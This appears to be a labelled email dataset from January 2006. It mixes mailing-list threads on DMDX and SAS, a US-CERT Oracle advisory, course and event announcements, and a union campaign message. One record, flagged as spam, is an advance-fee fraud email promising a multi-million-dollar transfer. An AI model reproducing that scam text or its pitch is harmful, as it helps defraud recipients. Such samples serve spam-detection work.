6:10-8:00pm Dr. Jill Humphries This exploratory course examines Black female gendered-sexuality from a transnational perspective. Drawing primarily from a social science perspective we will examine the theoretical, conceptual, historical, and socio-cultural context in which race, gender, and sexuality are used as analytical concepts. Using new media technology we will also explore the fluidity of these concepts as social constructions that shape and influence our notions about women of Afro-descent as racialized gendered sexual beings. AFAS G4080/002 CALL #94267 TOPICS IN THE BLACK EXPERIENCE: BLACK WEST: AFRICAN AMERICAN ARTISTS IN THE WESTERN UNITED STATES THURSDAYS 4:10-6:00PM DR. KELLIE JONES This course considers the creative production of African Americans primarily in California in the 19th and 20th centuries. Of interest are the graphic and photographic works of Grafton Tyler Brown and J.P. Ball and the narratives of black cowboys in the 19th century. Moving to the 20th century we will consider sculpture by Beulah Ecton Woodard and Sargent Johnson and architecture by Paul Williams and their relationship to modern themes and theory, particularly that of the Harlem Renaissance. We will also look at African American connection to the film industry through black westerns like The Bronze Buckaroo, Harlem Rides the Range, and Two Gun Man from Harlem all from the 1930s. In the contemporary period we will explore the work of artists in dialogue with the Black Arts Movement including Betye Saar, Charles White, David Hammons, and Senga Nengudi. Themes pertinent to the course include: how are African American identities and cultural production imbricated with concepts of what is considered ""western"" or trends of west coast artmaking?; what can these artists tell us about notions of space, place, and migration in the African American imagination? ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 17 Jan 2006 17:59:52 -0700",[DMDX] Re: DMDX,"At 03:57 PM 1/17/2006 -0700, you wrote: >I am running a cross modal experiment. The problem I am having is that the >wav frame and the text frame overlap in spite of the null frame that comes >between them. Below are data from my file: > > >255255255> > >Sample item: > >+005135 ""dictator"" / / * ""dictatorial""/; > > >In spite of the fact the the parameters are identical for each text >item and for the null frame, the overlapping between the wav and text >doesn't occur with the first few items presented. It actually develops >later. In other words, it acts as if the blank frame gets shorter >as time goes on until the wav and text frames actually overlap. > >Any ideas you have are appreciated. Beyond getting another sound card or updating the drivers for your current sound card you could try it without the DigitalVOX and RecordVocal devices as almost anything weird with sound is usually related to them. You could try putting another blank frame before the sound frame. Do you really need a fixed delay between items? I'd take it out before anything else. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lord Falkland's Rule: When it is not necessary to make a decision, it is necessary not to make a decision.",0,0 Willis Osemo ,,"Wed, 18 Jan 2006 12:33:09 +0300",Newsflash - Loan Portfolio Audit Toolkit,"!!Newsflash!! Assess your credit policies, procedures and internal controls! Use the MicroSave Loan Portfolio Audit Toolkit >+Toolkit> to further improve your management of and accounting for your loan portfolio. Developed with the Microfinance Consulting Group and Equity Bank, the Loan Portfolio Audit Toolkit can significantly improve the quality and yield of your portfolio. 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She should be there about 6 or 6:30pm. So stop by the Papa's Pizza on Coburg Road and meet our Duckling and help raise money for her treatment! See you all there! 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Overview Various Oracle products and components are affected by multiple vulnerabilities. The impacts of these vulnerabilities include remote execution of arbitrary code, information disclosure, and denial of service. I. Description Oracle has released Critical Patch Update - January 2006. This update addresses more than eighty vulnerabilities in different Oracle products and components. The Critical Patch Update provides information about affected components, access and authorization required, and the impact of the vulnerabilities on data confidentiality, integrity, and availability. For more information on terms used in the Critical Patch Update, Metalink customers should refer to MetaLink Note 293956.1. According to Oracle, three of the vulnerabilities corrected un the Oracle Critical Patch Update for January 2006 affect Oracle Database Client-only installations. US-CERT recommends that sites running Oracle review the Critical Patch Update, apply patches, and take other mitigating action as appropriate. US-CERT is tracking all of these issues under VU#545804. As further information becomes available, we will publish individual Vulnerability Notes. II. Impact The impact of these vulnerabilities varies depending on the product, component, and configuration of the system. Potential consequences include the execution of arbitrary code or commands, information disclosure, and denial of service. Vulnerable components are likely to be available to attackers via remote networks and with limited or no prior authorization. An attacker who compromises an Oracle database may be able to gain access to sensitive information. III. Solution Apply a patch Apply the appropriate patches or upgrade as specified in the Oracle Critical Patch Update - January 2006. Note that this Critical Patch Update only lists newly corrected issues. Updates to patches for previously known issues are not listed. As noted in the update, some patches are cumulative, others are not: The Oracle Database, Oracle Application Server, Oracle Enterprise Manager Grid Control, Oracle Collaboration Suite, JD Edwards EnterpriseOne and OneWorld Tools, and PeopleSoft Enterprise Portal Applications patches in the Updates are cumulative; each successive Critical Patch Update contains the fixes from the previous Critical Patch Updates. Oracle E-Business Suite and Applications patches are not cumulative, so E-Business Suite and Applications customers should refer to previous Critical Patch Updates to identify previous fixes they wish to apply. Appendix A. Vendor Information Oracle Please see Oracle Critical Patch Update - January 2006 and Critical Patch Updates and Security Alerts. Appendix B. References * Critical Patch Update - January 2006 - * Critical Patch Updates and Security Alerts - * MetaLink Note 293956.1 - * US-CERT Vulnerability Note VU#545804 - * US-CERT Vulnerability Notes Related to Critical Patch Update - January 2006 - * Map of Public Vulnerability to Advisory/Alert - * Oracle Database Security Checklist (PDF) - ____________________________________________________________________ Information used in this document came from Oracle. Oracle credits the following individuals for providing information regarding vulnerabilities addressed in the Critical Patch Update - January 2006: Raffaele Amendola; Cesar Cerrudo and Esteban Martinez Fayo of Application Security, Inc.; Joxean Koret; Alexander Kornbrust of Red Database Security GmbH; David Litchfield of Next Generation Security Software Ltd.; Srinivas Nookala of Cenzic, Inc.; Steve Orrin formally of Watchfire, Inc.; Amichai Shulman of Imperva, Inc. Feedback can be directed to US-CERT Technical Staff. ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-018A Feedback VU#545804"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History January 18, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ866SH0pj593lg50AQJQtwgAzAwHvbTaulcH4R76IfBf2K/QLMma7b9B omvFWMOnClCUDvkLvW2dGBOPJZjmluQz6154w2OfsiHhpHzjlmEjbJlKQ1kVWjKI o+k3GcCZiIZByEORtcKDpIjZ6U4c4+ZOdya7B/kEdEMOR1kPr2WLf9uZCkKsqxnd Nm//1GkNC77+NGdhqhdIqcFyL7X1ZmHDNwAbZ9EmMO2Pc5a5ManLgW7LBnuxVzCv cj9dRYZvbatrr9P2sxaj7xBZgYoDwQWs+oy/N77mva5K/IVLE67UIm0Bj7h9gFiX dmF/bVU1wocLEHSPY0MqUySI99eJnZv4/IIM61/Moxb/TQ4xoiPsjA== =D3pG -----END PGP SIGNATURE-----",0,1 David Eddington ,DMDX@psy1.psych.arizona.edu,"Wed, 18 Jan 2006 16:22:10 -0700",[DMDX] Re: DMDX,"j.c.f. wrote: > At 03:57 PM 1/17/2006 -0700, you wrote: > >> I am running a cross modal experiment. The problem I am having is >> that the wav frame and the text frame overlap in spite of the null >> frame that comes between them. Below are data from my file: >> >> > digitalVOX > >> > 255255255> >> >> Sample item: >> >> +005135 ""dictator"" / / * ""dictatorial""/; >> >> >> In spite of the fact the the parameters are identical for each >> text item and for the null frame, the overlapping between the wav and >> text doesn't occur with the first few items presented. It actually >> develops later. In other words, it acts as if the blank frame >> gets shorter as time goes on until the wav and text frames actually >> overlap. >> >> Any ideas you have are appreciated. > > > Beyond getting another sound card or updating the drivers for your > current sound card you could try it without the DigitalVOX and > RecordVocal devices as almost anything weird with sound is usually > related to them. You could try putting another blank frame before the > sound frame. Do you really need a fixed delay between items? I'd > take it out before anything else. > Thanks for the advice. I tried all of the above except getting new sound drivers. Removing did the trick. The problem is that now I can't record reaction times, although that wasn't crucial. Thanks, -- =========================================== David Eddington Linguistics and English Language 4064 JFSB Brigham Young University Provo, UT 84602-6278 (801) 422-7452 http://linguistics.byu.edu/faculty/eddingtond/profession.html Any [linguistic] creation must be preceded by an unconscious comparison of the material deposited in the storehouse of language, where productive forms are arranged according to their relations. --Ferdinand de Saussure.",0,1 ,,,Re: [Cmaptools] un favor,"Olá Nora: Pelo que vi, o que está no ficheiro powerpoint é uma IMAGEM gerada a partir do original (um *.jpg). Pode importá-la para o CmapTools apenas como imagem de fundo. Creio que, se quiser modificá-lo, terá que fazer um novo mapa. What I saw inside the powerpoint file was a *.jpg image. You can import it inside CmapTools as a background image. But if you want to change it, you must creat a new map. Am I right? Saudações Carlos Alberto Silva Leiria, Portugal Nora Valeiras wrote: To unsubscribe, E-mail to: ----------------------------------- Estimado Rodrigo: tengo un mapa hecho con el programa Cmap lo transporte a un power point y ahora lo quiero modificar pero no tengo el original. Hay alguna manera de que pueda pegarlo en el programa para poder usarlo y modificarlo nuevamente? le  envio el mapa en una attach. Muy agradecida por su atencion y el programa es fabuloso!!! mis cordiales saludos Nora Valeiras ############################################################# This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to Send administrative queries to ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 18 Jan 2006 21:35:21 -0700",[DMDX] Re: DMDX,"At 04:22 PM 1/18/2006 -0700, you wrote: >Thanks for the advice. I tried all of the above except getting new sound >drivers. Removing did the trick. The problem is that >now I can't record reaction times, although that wasn't crucial. And removing the didn't? Well, nothing with the sound code surprises me much anymore. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The only possible interpretation of any research whatever in the 'social sciences' is: some do, some don't. - Ernest Rutherford",0,0 David Eddington ,DMDX@psy1.psych.arizona.edu,"Wed, 18 Jan 2006 21:40:54 -0700",[DMDX] Re: DMDX,"j.c.f. wrote: > At 04:22 PM 1/18/2006 -0700, you wrote: > > >> Thanks for the advice. I tried all of the above except getting new >> sound drivers. Removing did the trick. The problem >> is that now I can't record reaction times, although that wasn't crucial. > > > And removing the didn't? Well, nothing with the sound code > surprises me much anymore. > BTW, I'm really tired of spam so I try to keep my e-mail address off of any site on the web. I'd appreciate it if you could mark any of my postings with davee@unm.edu rather than this address. Thanks again, -- =========================================== David Eddington Linguistics and English Language 4064 JFSB Brigham Young University Provo, UT 84602-6278 (801) 422-7452 http://linguistics.byu.edu/faculty/eddingtond/profession.html Any [linguistic] creation must be preceded by an unconscious comparison of the material deposited in the storehouse of language, where productive forms are arranged according to their relations. --Ferdinand de Saussure.",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 19 Jan 2006 08:11:09 -0700",[DMDX] Re: DMDX,"At 09:40 PM 1/18/2006 -0700, you wrote: >BTW, > >I'm really tired of spam so I try to keep my e-mail address off of any >site on the web. I'd appreciate it if you could mark any of my postings >with davee@unm.edu rather than this address. Unfortunately to do that not only would I have to change the listserver digest software but I'd also have to create another way for people to download the whole digest as that's raw email text. I've been thinking about it but currently the only solutions compromise DMDX support so I'm leery of using them. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The only possible interpretation of any research whatever in the 'social sciences' is: some do, some don't. - Ernest Rutherford ",0,0 mr modise moathlodi ,,"Thu, 19 Jan 2006 09:48:29 +0100",ATTENTION. 100%.RISK FREE,"ATTENTION. 100%.RISK FREE (RE: TRANSFER OF US$168.559 MILLION TO YOUR ACCOUNT.) My name is MR MODISE MOATHLODI. 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I will fly over to meet you after the successful transfer for sharing according to the agreed percentages. Let me know if you can handle it. Best Regards, MR MODISE MOATHLODI. ",1,0 """Patton,Robin"" ",acheng@olemiss.edu,"Thu, 19 Jan 2006 12:24:58 -0500",Virginia Modeler Recruit,"Dear Dr. Cheng, Can you please arrange to post the following announcement in SaltNet?: DEPARTMENT OF ENVIRONMENTAL QUALITY EMPLOYMENT OPPORTUNITIES January 9, 2006 ENVIRONMENTAL SPECIALIST II (Environmental Program Planner), #P1127 & #P4251; Richmond, VA; Minimum Starting Salary: $37,869. The Department of Environmental Quality, Division of Water Resources, Office of Ground Water Withdrawal Permitting seeks two qualified candidates to assure consistent, accurate, technically defensible and enforceable ground water withdrawal permits are issued by providing technical expertise and support to the regional offices and agency management regarding the potential impacts of proposed withdrawals. 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An Equal Opportunity/Affirmative Action Employer Application forms available at : http://jobs.virginia.gov/emplApplication.html ",0,1 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 19 Jan 2006 15:11:11 -0500","US-CERT Cyber Security Bulletin SB06-019 -- Summary of Security Items from January 12 through January 18, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from January 12 through January 18, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from January 12 through January 18, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8/xxH0pj593lg50AQIqpAgAutPTx+TVXqsp7E+vo2oAvAT5jJf7t9J4 tTIJixMRadXZdLp8iNxXl92fCP/rqcL2gqFC/aYN2u5GDGDz3Ge5cTUEoXva+Lt0 KHTtfrPR/ZmbwZgk/4KqYwrvdjSJJ/pEEyqLyB4g5KCVhig5YwXRE+yV0dK0zPhn 7A8+CCeWCTlhpKiJDa0vkmgubO9T4e8aoX3DjxXq95mLI50Ds9EEfqwJ8rE9tDeq KHS6j89coy+WBzHtS0XCZAU5KBvzseiJ2omn+EMeU/P1lzdNdelhjp1OU2WbZHQi kEpk8q7HbLp0ZWpD4MHlIgrYJSaat3/tLfN0y4QH8/Ev7s8Y6xntYA== =/pkG -----END PGP SIGNATURE-----",0,1 ,,,,"bay0-imc1-s30.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 19 Jan 2006 14:42:34 -0800 Received: from malibu.cc.uga.edu ([128.192.1.103]) by bay0-mc1-f16.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 19 Jan 2006 14:42:23 -0800 Received: from listserv.cc.uga.edu (listserv.uga.edu [128.192.1.75])by malibu.cc.uga.edu (8.12.11/8.12.11) with ESMTP id k0JLqsDr011250;Thu, 19 Jan 2006 17:39:54 -0500 Received: from LISTSERV.UGA.EDU by LISTSERV.UGA.EDU (LISTSERV-TCP/IP release 1.8d) with spool id 1153384 for SAS-L@LISTSERV.UGA.EDU; Thu, 19 Jan 2006 17:39:53 -0500 Received: from web54205.mail.yahoo.com (web54205.mail.yahoo.com [206.190.39.247]) by listserv.cc.uga.edu (8.12.11/8.12.11) with SMTP id k0JMdlZC024562 for ; Thu, 19 Jan 2006 17:39:47 -0500 Received: (qmail 23219 invoked by uid 60001); 19 Jan 2006 22:39:47 -0000 Received: from [69.120.113.231] by web54205.mail.yahoo.com via HTTP; Thu, 19 Jan 2006 14:39:47 PST X-Message-Info: eW1r7T5OXW7irro54tGxtx2aXzYL3sO84CoDVZp5wyc= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:In-Reply-To:MIME-Version:Cont ent-Type:Content-Transfer-Encoding; b=b4D7KshaeN6TUrDj844zxS6/ZdqwSycBH/HVz4yTAYS968c0s6mXYwc+z62kq9YhXg4NOz 4bKOMbYZOf4dc6tZ0eJGnWSHK9CK+2UlRe5qxMfLW4R1VnF6IznslFI010/uma3/JD6SxsF5 1ZdyU6cPEC+avB5O5oZgSRLoC4ZPk= ; X-Scanned-By: Digested by UGA Mail Gateway on 128.192.1.75 Comments: To: owner-sas-l@LISTSERV.UGA.EDU Return-Path: owner-sas-l@LISTSERV.UGA.EDU X-OriginalArrivalTime: 19 Jan 2006 22:42:24.0738 (UTC) FILETIME=[9E01E420:01C61D49] Toby: Pretty interesting.. Don't you think the output should be: Obs SSN StartDate EndDate AdmitDate 1 1 01JAN2005 30MAR2005 17JAN2005 2 1 01APR2005 01JUN2005 . 3 1 29JUL2005 30NOV2005 . 4 1 01OCT2005 31DEC2005 24DEC2005 5 2 . . 12JUL2005 6 3 01JUN2005 20OCT2005 15JUL2005 Wouldn't 15jul come in the last record. Just want to clarify if I understand it correctly.. Mona --- Sigurd Hermansen wrote: > Toby: > Looks like a Data step problem to me! > > Just kidding ... I'll see what I can do. > Sig > > > -----Original Message----- > From: owner-sas-l@listserv.uga.edu > [mailto:owner-sas-l@listserv.uga.edu] > On Behalf Of toby dunn > Sent: Thursday, January 19, 2006 4:58 PM > To: SAS-L@LISTSERV.UGA.EDU > Subject: Help with a SQL Join > > > Okay for some reason my brain can't find an easy > solution to this join: > > Lets say I have two data sets: > > > data One ; > infile cards ; > input SSN $1. @3 AdmitDate date9. ; > cards ; > 1 17jan2005 > 1 15jul2005 > 1 24Dec2005 > 2 12Jul2005 > ; > run ; > > data Two ; > infile cards ; > input @1 SSN $1. @3 StartDate date9. @13 EndDate > date9. ; > cards ; > 1 01jan2005 30Mar2005 > 1 01apr2005 01jun2005 > 1 29jul2005 30nov2005 > 1 01oct2005 31dec2005 > 3 01jun2005 20oct2005 > ; > run ; > > > > Now I need to join the two data sets together by SSN > , and when the > One.AdmitDate falls between Two.StartDate and > Two.EndDate. In the cases > that One.AdmitDate does not fall nicely between > these two dates I need > it to be joined with the record that contains the > earliest date in which > the AdmitDate falls between. I also need the Final > data set to contain > all records with no matching SSN in One and all > Records with no matching > record in Two. And for good measures there are no > duplicate > StartDate's, AdmitDates, or overlapping > StartDates/EndDates per SSN. > > > > > From the above data the final data set should look > like: > > > Obs SSN StartDate EndDate AdmitDate > > 1 1 01JAN2005 30MAR2005 17JAN2005 > 2 1 01APR2005 01JUN2005 15JUL2005 > 3 1 29JUL2005 30NOV2005 . > 4 1 01OCT2005 31DEC2005 24DEC2005 > 5 2 . . > 12JUL2005 > 6 3 01JUN2005 20OCT2005 . > > > Toby Dunn > __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com Back to: Top of message | Previous page | Main SAS-L page listserv.uga.edu Enterprise Information Technology Services The University of Georgia listhelp@uga.edu",0,1 cknox@uoregon.edu,cknox@uoregon.edu,"Thu, 19 Jan 2006 18:09:18 -0800",EDST 114 progressive lists,"I put two tutorials in the resource center of Blackboard for Mac and PC PowerPoint progressively disclosed lists with dimmed text. Let me know if it helps. c. ",0,0 billmark@cs.utexas.edu,cs395t-mark@cs.utexas.edu,"Thu, 19 Jan 2006 18:36:35 -0600",CS395T - test message,"If you're receiving this message, I've correctly added your email address to the list for the fine-grained parallelism seminar. Bill ",0,0 Jeff Diamond ,cs395t-mark@cs.utexas.edu,"Thu, 19 Jan 2006 18:50:17 -0600","PAPER: ""Power: A First-Class,Architectural Design,Constraint""","Here are some thought questions regarding this paper. You do not have to write up the answers, and they will not be graded. However, if you are auditing this class then you cannot come to Monday's class unless you read them all. Warning: Bill may veto any or all of these questions if found inappropriate. -> Has power consumption been an issue for computer architecture in the past? If so, how did it compare with today’s power issues and how was it solved? -> How does the power consumption of a CPU in a laptop compare to the total energy needed to run the laptop? Why would CPU power usage matter? -> Does running two identical processors require twice the power of running one processor at the same frequency? . -> What design aspects of a given *microarchitectural* feature in current processors contribute most to high power requirements? How is this changing over time? (Think of structures inside the core.) Extra Credit: -> What role could software play in power reduction that would be independent of any system hardware or specific API? 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Don't you think the output should be: Obs SSN StartDate EndDate AdmitDate 1 1 01JAN2005 30MAR2005 17JAN2005 2 1 01APR2005 01JUN2005 . 3 1 29JUL2005 30NOV2005 . 4 1 01OCT2005 31DEC2005 24DEC2005 5 2 . . 12JUL2005 6 3 01JUN2005 20OCT2005 15JUL2005 Wouldn't 15jul come in the last record. Just want to clarify if I understand it correctly.. Mona --- Sigurd Hermansen wrote: > Toby: > Looks like a Data step problem to me! > > Just kidding ... I'll see what I can do. > Sig > > > -----Original Message----- > From: owner-sas-l@listserv.uga.edu > [mailto:owner-sas-l@listserv.uga.edu] > On Behalf Of toby dunn > Sent: Thursday, January 19, 2006 4:58 PM > To: SAS-L@LISTSERV.UGA.EDU > Subject: Help with a SQL Join > > > Okay for some reason my brain can't find an easy > solution to this join: > > Lets say I have two data sets: > > > data One ; > infile cards ; > input SSN $1. @3 AdmitDate date9. ; > cards ; > 1 17jan2005 > 1 15jul2005 > 1 24Dec2005 > 2 12Jul2005 > ; > run ; > > data Two ; > infile cards ; > input @1 SSN $1. @3 StartDate date9. @13 EndDate > date9. ; > cards ; > 1 01jan2005 30Mar2005 > 1 01apr2005 01jun2005 > 1 29jul2005 30nov2005 > 1 01oct2005 31dec2005 > 3 01jun2005 20oct2005 > ; > run ; > > > > Now I need to join the two data sets together by SSN > , and when the > One.AdmitDate falls between Two.StartDate and > Two.EndDate. In the cases > that One.AdmitDate does not fall nicely between > these two dates I need > it to be joined with the record that contains the > earliest date in which > the AdmitDate falls between. I also need the Final > data set to contain > all records with no matching SSN in One and all > Records with no matching > record in Two. And for good measures there are no > duplicate > StartDate's, AdmitDates, or overlapping > StartDates/EndDates per SSN. > > > > > From the above data the final data set should look > like: > > > Obs SSN StartDate EndDate AdmitDate > > 1 1 01JAN2005 30MAR2005 17JAN2005 > 2 1 01APR2005 01JUN2005 15JUL2005 > 3 1 29JUL2005 30NOV2005 . > 4 1 01OCT2005 31DEC2005 24DEC2005 > 5 2 . . > 12JUL2005 > 6 3 01JUN2005 20OCT2005 . > > > Toby Dunn > __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! 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Thanks, Karin ",0,0 Yvonne Aburrow ,aut-discussion@bath.ac.uk,"Fri, 20 Jan 2006 13:54:44 +0000",Urgent campaign update 20 January 2006 (fwd),"Hi all Please make sure to vote in the ballot using the ballot forms you should all have received last week. The employers promised they would spend a third of the income from extra top-up fees on extra salaries (I heard it on the news at the time!), and now they are denying that they made that promise. See below for more details cheers Yvonne http://www.bath.ac.uk/aut/ ------------ Forwarded Message ------------ Date: 20 January 2006 12:18 +0000 From: Matt Waddup To: Info Cc: Matt Waddup Subject: Urgent campaign update 20 Janaury 2006 Dear colleague, Employers spin themselves into a hole as Johnson confirms ""at least one third"" commitment... In an article for the Times Higher this week Geoffrey Copland the chair of employers' body UCEA denied that universities had ever told former HE minister Alan Johnson that ""at least one-third"" of the new money would be spent on your pay. In a briefing for press and university staff members last week, UCEA went further and said: ""no such commitment has ever been given to Government by universities -- collectively or individually."" Yet on the very same day that Dr Copland's article was published Alan Johnson, the minister who had reported the universities' pay commitment to parliament, addressed a meeting at University College London. When asked about the commitment, Mr. Johnson confirmed that it was no less than Universities UK themselves who had told him that was what universities said they would do. The transcript of the meeting (which AUT has on tape) reads: London Student reporter: ""When you said vice-chancellors [had told you they would spend at least a third on pay] was that based on a conversation with a few vice-chancellors or was it based on a conversation with vice-chancellors representing universities across the sector, all universities?"" Alan Johnson: ""It was based on Universities UK."" If there is one thing worse than spinning, it is being caught spinning, especially when you are accusing the unions of bad faith. One AUT member present at the meeting speculated whether there was some confusion during that infamous meeting and when Alan Johnson asked UUK the question; one of the great and good misheard and thought he had asked how much would be spent on VC pay. Stop spinning, start negotiating AUT tells employers Now that their central argument against meeting the unions' claim has been exposed as a sham AUT hopes the employers will come back to the bargaining table with a decent offer. Not a good day for the employers and it gets worse... Many members have contacted us about the advert placed in the Time Higher Education Supplement (THES) yesterday. Yes, the employers did indeed spend money that they could have spent on you on a full page ad that stressed their willingness to resolve the dispute. Yes they did call for ""dialogue not dispute"" and yes they did list all the wonderful things they are doing for you already. Why are the unions being so unreasonable was the sub-text. Employers talk ""peace"", but privately plan hard line on ""peculiar"" staff There is one slight problem with this very uncharacteristic UCEA charm offensive. A colleague received in a brown envelope this week a copy of a private email exchange between a Head of Human Resources at a leading English University and his counterpart at a university of similar stature in Scotland. The subject: our pay dispute. The correspondence starts with the English person describing you and colleagues as working in a ""peculiar industry"" and goes on to say that the current dispute is ""unreal"" even by the usual ""academic standards"". Nice to know what your employers secretly think of you isn't it - especially that the term ""academic"" is a form of insult rather than a complement. However it gets worse. What we need to do, he says, is tell staff that everyone who refuses to mark scripts and set exams in this dispute ""would be taken off the payroll until they agreed to work normally"". The implication is that this hard line tactic would then frighten you and your colleagues into voting no. What a good idea, his colleague from Scotland replies. ""I welcome the initiative for the employers' side to take a strong line in this dispute."" Interesting that in the very week that these two are plotting to frighten staff out of standing up for their rights, their respective vice chancellors were sending out the standard UCEA message of peace, love and understanding to all staff. Dialogue, not dispute indeed.... So who said what to whom? This is a good point at which to launch our first members' competition of this dispute. Do the attitudes expressed in the email sound like those of your Head of HR? Email us if you think these master tacticians could be based at your institution? AUT is offering a mystery prize to the first person who correctly guesses one of these two institutions who are the advisors behind UCEA's ""talk peace, prepare for war"" strategy. And just so members in Wales and Northern Ireland are left out, we will provide a similar prize for the best piece of management dissembling about your pay we receive. The identity of these two will be announced next week when we publish the full exchange to the press and winners will be announced in next Friday's email. What do you want? Some of what you've got would be nice! Seriously, what this does show is that the employers are on the defensive. This follows AUT's revelation that while refusing to make you an offer on pay, the eleven vice chancellors on the UCEA Board had received average pay increases of 32% over the last three years! The employers keep asking what it is the unions want. Well, we want some of what you have awarded yourselves is the answer. Before we leave this subject will have to tell you what the employers told the press about this story. A UCEA spokesman said of these VCs that ""their remuneration packages reflect what it takes to attract, retain and reward individuals of sufficient calibre."" AUT couldn't agree more. Read what The Guardian said about this at http://education.guardian.co.uk/higher/news/story/0,9830,1689436,00.html. If UCEA want dialogue, let's do it today! AUT DOES want dialogue. We are prepared to negotiate today, but we are not prepared to remove your right to vote against the employers while they ""consult"" with institutions. We want a negotiated solution but we will negotiate from a position of strength not weakness. Stand up and be counted Not a bad day's work for the employers: * Caught out by the minister on the one-third commitment. * Found out by AUT for planning a secret ""hard line"" while pretending to want ""dialogue"" * In print showing contempt for ""academic standards"" * Shown up as believing that VCs need decent pay to be retained but not prepared to pay you a penny more Can things get any worse for them? Yes. Many members tell us that things like this make them angry at the way they are treated, not just about pay but about workloads, increased bureaucracy and a lack of promotion prospects. Now is the time to register that protest, to put that anger to some purpose. Your union is battling on your behalf to make the employers keep their promises. Do not be a passive observer while others defend your pay and conditions. If you haven't voted yet support your union and do so now, and when you do - VOTE YES to send your employers a message that even they can understand. Please pass this email onto any colleagues who are not yet in AUT. They still have time to join the union and vote. They can go to http://www.aut.org.uk/index.cfm?articleid=10 and we will email them a form by return. all/best Matt AUT Campaigns Team Your national campaign contacts are: * Justine Stephens, head of campaigns mailto:justine.stephens@aut.org.uk * Jonathan White, Campaigns officer mailto:jonathan.white@aut.org.uk * Matt Waddup, assistant general secretary mailto:matt.waddup@aut.org.uk * Dan Ashley, press officer dan.ashley@aut.org.uk ---------- End Forwarded Message ---------- Yvonne -- Yvonne Aburrow Web Developer, Computing Services, University of Bath +44 (0)1225 38 6022 Y.Aburrow@bath.ac.uk http://people.bath.ac.uk/ccsya/",0,1 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Fri, 20 Jan 2006 16:03:40 -0500",EVENT: New Orleans - Rebuilding the Musical City,"Columbia University's Center for Jazz Studies with the Institute for Research in African American Studies cordially invite you to a conference: January 26-28, 2006 Columbia University, Broadway + 116th Street Thursday, January 26 | East Room Faculty House | 8 pm John Szwed reads from the new book, BLUES FOR NEW ORLEANS, and from his Grammy-nominated program notes on Jelly Roll Morton Selections from the film ""All on a Mardi Gras Day"" ""Eye of the Storm"" Exhibit Opening Reception, Arthur Ross Gallery, Buell Hall 9pm Friday, January 27 | President's Room Faculty House | 8:30 am Continental Breakfast Introductions, Robert O'Meally and Farah Jasmine Griffin New Orleans vocalist Juanita Brooks accompanied by Donald Smith Panel I: Jazz, Blues, Architecture, City Planning, Geography | 10 am George Lewis, Lionel McIntyre, Kenneth Ferdinand, and David P. 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I'm using 3.1.4.1 on a WinXP Pro SP2 running on a new Dell GX520 (I've tried it on two machines just to check) and the lockup is not at any particular point but the file is: ********** 0 m1== c; 0 m2== c; 0 m3== c; 0 m4== c; 0 m5== c ; 0 m6== c; 0 ""Passage comprehension."" , ""Press the spacebar for example passage."" ; +1 ~6 * ""c:\\512335\\slide1"" ; +2 ~2 * ""c:\\512335\\slide2"" ; +3 ~4 * ""c:\\512335\\slide3"" ; +4 ~3 * ""c:\\512335\\slide4"" ; +5 ~2 * ""c:\\512335\\slide5"" ; +6 ~4 * ""c:\\512335\\slide6"" ; 0 ""Press the spacebar for first test passage."" ; +7 ~6 * ""c:\\512335\\slide7"" ; +8 ~4 * ""c:\\512335\\slide8"" ; +9 ~3 * ""c:\\512335\\slide9"" ; +10 ~5 * ""c:\\512335\\slide10"" ; +11 ~2 * ""c:\\512335\\slide11"" ; +12 ~4 * ""c:\\512335\\slide12"" ; 0 ""Press the spacebar for next passage."" ; +13 ~6 * ""c:\\512335\\slide13"" ; +14 ~3 * ""c:\\512335\\slide14"" ; +15 ~3 * ""c:\\512335\\slide15"" ; +16 ~1 * ""c:\\512335\\slide16"" ; +17 ~4 * ""c:\\512335\\slide17"" ; +18 ~5 * ""c:\\512335\\slide18"" ; 0 L ""That's all for the this part, thank you."" ; ********** and the DMDX settings are ********** Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\\Software\\DMDX] [HKEY_CURRENT_USER\\Software\\DMDX\\3] [HKEY_CURRENT_USER\\Software\\DMDX\\3\\IgnoreRTFcheckbox] @=""1"" [HKEY_CURRENT_USER\\Software\\TimeDX] [HKEY_CURRENT_USER\\Software\\TimeDX\\3] [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\1] [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\1\\0 Primary Display Driver] [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\1\\0 Primary Display Driver\\1024x768(768)_8bpp_0Hz] @=""13 16.876 300 16.576"" [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\Capture_Driver] @=""Primary Sound Capture Driver"" [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\Last_TimeDX_Videomode] @=""1024 768 768 8 